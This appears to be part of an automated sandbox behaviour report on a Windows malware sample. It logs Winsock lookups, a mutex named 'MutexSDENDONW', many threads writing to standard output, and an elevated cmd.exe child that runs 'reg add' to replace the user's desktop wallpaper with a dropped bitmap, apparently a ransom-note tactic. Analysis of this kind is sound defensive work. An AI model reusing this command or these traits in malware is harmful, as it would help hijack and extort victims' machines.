Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = inet_addr, address_out = 0x746b9160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = inet_ntoa, address_out = 0x746b9450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = listen, address_out = 0x746a4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = ntohl, address_out = 0x746a49d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = ntohs, address_out = 0x746b8ff0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = recv, address_out = 0x746b0c50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = recvfrom, address_out = 0x746ba8b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = select, address_out = 0x746a4ea0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = send, address_out = 0x746a5030	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = sendto, address_out = 0x746a5a20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = setsockopt, address_out = 0x746afd70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = shutdown, address_out = 0x746b38a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = socket, address_out = 0x746b4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = gethostbyaddr, address_out = 0x746d6b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = gethostbyname, address_out = 0x746d6cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getprotobyname, address_out = 0x746d5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getprotobynumber, address_out = 0x746d5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getservbyname, address_out = 0x746d7020	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getservbyport, address_out = 0x746d7210	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = gethostname, address_out = 0x746d6e60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getaddrinfo, address_out = 0x746a5810	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = freeaddrinfo, address_out = 0x746a4fa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getnameinfo, address_out = 0x746b3560	1	Fn
System	Get Time	type = Ticks, time = 141296	1	Fn
System	Get Time	type = Performance Ctr, time = 14133831752	1	Fn
File	Get Info	filename = -n, type = file_attributes	1	Fn
Mutex	Open	mutex_name = MutexSDENDONW, desired_access = MUTEX_MODIFY_STATE, DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, SYNCHRONIZE	1	Fn
Mutex	Create	mutex_name = MutexSDENDONW	1	Fn
File	Get Info	filename = -n, type = file_attributes	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\nwqzqdpd.exe, file_name_orig = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, size = 261	1	Fn
File	Get Info	filename = -n, type = file_attributes	1	Fn
Module	Get Filename	module_name = c:\users\fd1hvy\desktop\nwqzqdpd.exe, process_name = c:\users\fd1hvy\desktop\nwqzqdpd.exe, file_name_orig = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, size = 261	1	Fn
File	Get Info	filename = -n, type = file_attributes	2	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 14	1	Fn Data
DNS	Get Hostname	name_out = NQdPdE	1	Fn
DNS	Resolve Name	host = NQdPdE, address_out = 192.168.0.66	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	64	Fn
System	Sleep	duration = -1 (infinite)	1	Fn

Thread 0xe64

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data

Thread 0xd70

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn

Thread 0xa78

3

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn

Thread 0xa80

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 48	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data

Thread 0xcac

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 42	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0xe44

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 98	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0xa90

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 14	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0xa24

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 28	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0xbe4

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 8	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0x5f8

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0xa84

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0x3cc

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0x83c

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 8	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data

Thread 0xd3c

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0xdf8

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0x7b8

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0x9b4

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 119	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0x4e4

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 8	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0x7b4

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0xd34

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0xe90

6

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0xd28

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	2	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0xb6c

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	2	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 8	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data

Thread 0xddc

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 119	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data

Thread 0xdb0

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	2	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0xda8

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	2	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0x6d8

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 96	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0x7a4

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 80	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0xd6c

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 64	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0xd88

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 112	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0x42c

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 14	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0x324

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 28	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0xf10

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 14	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0xd7c

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 28	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data

Thread 0x8e8

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 70	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data

Thread 0xc9c

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 56	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0xd90

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 126	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 119	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data

Thread 0x9fc

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 112	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0xeec

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 84	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0xf54

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0xfc0

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 14	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data

Thread 0xe88

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 28	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data

Thread 0xe5c

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 42	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data

Thread 0xed4

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 14	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0xf68

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 42	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data

Thread 0xa88

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 56	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	2	Fn Data

Thread 0xd60

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 71	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data

Thread 0xac8

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data

Thread 0x8ac

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0xf48

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 119	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data

Thread 0xf64

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data

Thread 0x1004

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0x1008

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0x100c

4

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data

Thread 0x1010

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0x1014

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data

Thread 0x1018

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data

Thread 0x1020

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0x1024

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Thread 0x1028

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 68	1	Fn Data

Thread 0x102c

6

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 102	1	Fn Data

Thread 0x1030

6

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data

Thread 0x1034

6

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 51	1	Fn Data

Thread 0x1038

5

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 16	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 34	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 128	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	2	Fn Data

Process #7: cmd.exe

85

0

»

Information	Value
ID	#7
File Name	c:\windows\syswow64\cmd.exe
Command Line	"C:\WINDOWS\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:50, Reason: Child Process
Unmonitor	End Time: 00:02:04, Reason: Self Terminated
Monitor Duration	00:00:13

OS Process Information

»

Information	Value
PID	0x10fc
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1100 0x 117C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
